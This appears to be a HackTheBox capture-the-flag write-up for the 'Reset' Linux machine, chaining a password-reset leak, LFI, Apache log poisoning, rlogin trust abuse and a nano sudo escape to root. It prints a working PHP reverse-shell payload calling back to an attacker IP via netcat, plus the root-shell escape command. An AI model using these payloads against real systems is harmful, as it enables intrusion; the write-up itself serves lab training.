All writeups
HackTheBox: Reset avatar
MACHINE Linux HackTheBox 2/5

HackTheBox: Reset

2026-06-08 10 min read
Tracks CWES

Introduction

Reset is a Linux machine that chains together a password reset vulnerability, a log poisoning attack, and several privilege escalation misconfigurations. Each step feeds cleanly into the next - it’s an excellent box for learning how web vulnerabilities can lead to full system compromise. The path to root:

  1. Enumeration → Nmap reveals SSH, Apache, and Rservices (ports 512-514)
  2. Password reset abuse → the /reset_password.php endpoint returns the new password in its response
  3. Admin dashboard LFI → the file parameter is vulnerable to Local File Inclusion
  4. Log poisoning → inject a PHP reverse shell into Apache’s access.log via the User-Agent header, then trigger it via LFI
  5. Reverse shell as www-data → user flag is in /home/sadm/user.txt
  6. Lateral movement via Rservices/etc/hosts.equiv trusts the sadm user → rlogin in without a password
  7. Privilege escalation via tmux + nano → a detached tmux session leaks sadm’s sudo password → use nano’s execute-command feature to spawn a root shell

Key Concepts

What is Local File Inclusion (LFI)? LFI is a vulnerability where a web application uses user-supplied input to read files from the server’s filesystem without properly validating it. If you can make the application read /var/log/apache2/access.log instead of the intended syslog file, you have LFI.

What is Log Poisoning? Apache logs every request made to the server, including the User-Agent header the browser sends. If that log file is readable via LFI, you can send a request with a PHP payload in the User-Agent header, which gets written into the log. When the log file is then loaded via LFI, the PHP code executes - giving you Remote Code Execution.

What are Rservices? Rservices (rsh, rlogin, rcp) are old Unix remote-access tools that predate SSH. They support a “trusted hosts” model via /etc/hosts.equiv - if a user is listed there with a +, they can log in from any machine without a password. These services are considered insecure and shouldn’t be running on modern systems.

What is /etc/hosts.equiv? A configuration file that defines which remote users and hosts are “trusted” by the system’s Rservices. A + before a username means that user is trusted from any host; a - means they’re explicitly blocked. It’s the key that lets us pivot from www-data to sadm.

What is tmux? A terminal multiplexer - it lets you run terminal sessions that persist even after you disconnect. A detached tmux session keeps running in the background. Here, the sadm user has a background session that continuously runs sudo -S, which means it passes the password via stdin - and we can see it when we attach to the session.

What is the nano GTFOBin? GTFOBins is a list of Unix binaries that can be abused to escape restricted environments or escalate privileges. nano (a text editor) has a built-in “execute command” feature (Ctrl+R, Ctrl+X). If sudo allows you to run nano, you can use that feature to run arbitrary commands as root - without ever needing a separate exploit.


Enumeration

Nmap

ports=$(nmap --open <TARGET> | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -sd,)
nmap <TARGET> -p $ports -sV -sC -Pn --disable-arp-ping

Key open ports:

PortServiceNotes
22SSH - OpenSSH 8.9p1Standard remote access
80HTTP - Apache 2.4.52Web application, title: “Admin Login”
512rexecdRservices - remote execution
513rloginRservices - remote login
514rshdRservices - remote shell

Two things stand out immediately: an “Admin Login” web page, and Rservices on ports 512-514 (unusual on a modern system). Start with port 80.

Web Enumeration: Port 80

Visiting http://<TARGET> presents an Admin Login form. At the bottom there’s a Forgot Password? link. Click it - it opens a “Reset Password” modal that asks for a username.

Why try admin first? The page title says “Admin Login”, so there’s almost certainly an admin account. It’s always worth testing the most obvious username before trying anything else.


Foothold: Abusing the Password Reset

Step 1: Trigger the password reset

Open your browser’s Developer Tools (F12) and go to the Network tab before clicking anything - this lets you inspect every request the page makes.

Type admin in the username field and click Send Reset Email.

Step 2: Read the server’s response

Click on the reset_password.php entry in the Network tab, then switch to the Response tab.

The server returns a JSON object that includes the new password in plaintext:

{
  "username": "admin",
  "new_password": "9cc64f55",
  "timestamp": "2025-05-30 16:43:30"
}

Why is this a vulnerability? The server should only send a password reset link to a registered email. Returning the new password directly in the HTTP response means anyone who can intercept or inspect the response - including any logged-in user - can steal credentials. This is a classic Insecure Direct Object Reference (IDOR) / broken authentication issue.

Step 3: Log into the Admin Dashboard

Use admin / 9cc64f55 (your reset password will differ) to log in. The dashboard shows a Select Log File dropdown with syslog and auth.log options, and a View Logs button.


Local File Inclusion: Reading Arbitrary Files

Intercept the request with Burp Suite

Open Burp Suite and configure your browser to proxy through it. Click View Logs and intercept the POST request to dashboard.php. The body looks like:

file=%2Fvar%2Flog%2Fsyslog

The %2F characters are URL-encoded forward slashes, so this is really file=/var/log/syslog. The application is directly passing the filename to the server to read.

Test for LFI: Read the Apache access log

Change the file parameter to the Apache access log path:

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

Forward the request. The response now shows the contents of /var/log/apache2/access.log - confirming LFI. You can also see your own previous requests recorded there, including the User-Agent strings.

Why does reading the access log matter? Because Apache logs the User-Agent header verbatim. If we put PHP code in our User-Agent, it gets written into the log file. When we then load the log file via LFI, the web server’s PHP engine executes our code. This is log poisoning.


Log Poisoning: Remote Code Execution

Step 1: Start a Netcat listener

On your attacker machine, start a listener on port 9090:

nc -lvnp 9090

Step 2: Poison the log

Send a request to the target with a PHP reverse shell payload in the User-Agent header. In Burp Suite, modify a request to dashboard.php (or any page on the server) so the User-Agent becomes:

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 9090 >/tmp/f'); ?>

Replace <YOUR_IP> with your own HTB VPN IP (check with ip a on your tun0 interface).

What does this payload do? It creates a named pipe (mkfifo) which connects your Netcat listener to a /bin/sh shell on the target. The result is a fully interactive reverse shell - your listener gets the shell, the target connects back to you.

Step 3: Trigger the payload via LFI

Now send another request to dashboard.php with the file parameter set back to the poisoned log:

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

The PHP code embedded in the log executes and the shell connects back to your listener:

$ nc -lvnp 9090
listening on [any] 9090 ...
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 35586
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@reset:/var/www/html$ export TERM=xterm
www-data@reset:/var/www/html$ whoami
www-data

Step 4: Grab the user flag

cat /home/sadm/user.txt

Lateral Movement: Rservices Abuse → sadm

Enumerate Rservices configuration

As www-data, check the /etc/hosts.equiv file:

www-data@reset:/var/www/html$ cat /etc/hosts.equiv
# /etc/hosts.equiv: list of hosts and users that are granted "trusted"
# r-command access to your system.
- root
- local
+ sadm

The + sadm line means the user sadm is trusted from any remote host - no password needed to log in as sadm via rlogin.

What do the + and - signs mean? In /etc/hosts.equiv, a + prefix grants passwordless access, and - explicitly denies it. The entry + sadm says: the sadm user can rlogin from anywhere without authenticating. This is a severe misconfiguration.

Create a local sadm user on your attacker machine

rlogin checks that a user with the same name exists on the connecting machine. We need to create a local sadm user and then log in as them:

sudo useradd sadm
sudo passwd sadm         # set any password
su sadm                  # switch to sadm locally

Log in as sadm via rlogin

rlogin sadm@<TARGET>
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-136-generic x86_64)
...
sadm@reset:~$

You’re now in as sadm - no password required on the target.


Privilege Escalation: tmux Session Leaks sudo Password → Root via nano

Find the detached tmux session

Enumerate running processes:

sadm@reset:~$ ps aux
...
sadm  1001  0.0  0.1  8764  3972  ?  Ss  17:38  0:00  tmux new-session -d -s sadm_session
...

There’s a detached tmux session called sadm_session running as sadm. Attach to it:

tmux attach -t sadm_session

The session is actively running sudo -S nano /etc/firewall.sh and its output reveals:

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

And critically - the command being run shows the password being piped in:

echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh

sadm’s sudo password: 7lE2PAfVHfjz4HpE

Why does this leak the password? The -S flag tells sudo to read the password from stdin. The echo command pipes the password in directly. In a normal terminal this would be hidden, but because the tmux session is scripted and persistent, we can see the full command just by attaching to it.

Abuse nano to spawn a root shell

sadm is allowed to run nano on /etc/firewall.sh with sudo. nano has a built-in command execution feature that we can abuse:

sudo nano /etc/firewall.sh

Once inside nano:

  1. Press Ctrl+R then Ctrl+X - this opens a “Command to execute” prompt
  2. Type the following and press Enter:
reset; bash 1>&0 2>&0

This spawns a bash shell inside the nano process, which is already running as root:

root@reset:/home/sadm# whoami
root

What does reset; bash 1>&0 2>&0 do? reset clears the terminal state (necessary so the shell renders correctly). bash 1>&0 2>&0 launches bash and redirects both stdout and stderr to the nano process’s file descriptor 0 (which is connected to your terminal), giving you a fully interactive root shell.

Grab the root flag

cat /root/root_279e22f8.txt

Summary

nmap → port 80 (Apache "Admin Login"), ports 512-514 (Rservices)

Forgot Password? → POST /reset_password.php → server returns new password in response

Login as admin → Admin Dashboard → View Logs feature

Burp Suite → POST /dashboard.php → file= parameter → LFI confirmed
(reads /var/log/apache2/access.log)

Log Poisoning → set User-Agent to PHP reverse shell payload

nc -lvnp 9090 → trigger LFI → access.log executed → reverse shell as www-data
→ USER FLAG (/home/sadm/user.txt)

cat /etc/hosts.equiv → + sadm (trusted from any host, no password)

attacker: useradd sadm → su sadm → rlogin sadm@target
sadm@reset:~$ (lateral movement complete)

ps aux → tmux session "sadm_session" running
tmux attach -t sadm_session → reveals: echo 7lE2PAfVHfjz4HpE | sudo -S nano ...

sudo nano /etc/firewall.sh → Ctrl+R → Ctrl+X → "reset; bash 1>&0 2>&0"
root@reset:~# → ROOT FLAG (/root/root_279e22f8.txt)

Tools Used

ToolWhat it doesHow to get it
nmapNetwork port scanner and service fingerprintersudo apt install nmap
Burp SuiteHTTP proxy for intercepting and modifying web requestsportswigger.net (Community Edition is free)
Netcat (nc)Sets up listeners to catch reverse shellsBuilt into Kali (sudo apt install netcat-traditional)
rloginRservices client for passwordless remote loginsudo apt install rsh-client
tmuxTerminal multiplexer - also used here to access the target’s background sessionsudo apt install tmux
nanoText editor with a built-in command execute feature abused for privescBuilt into most Linux systems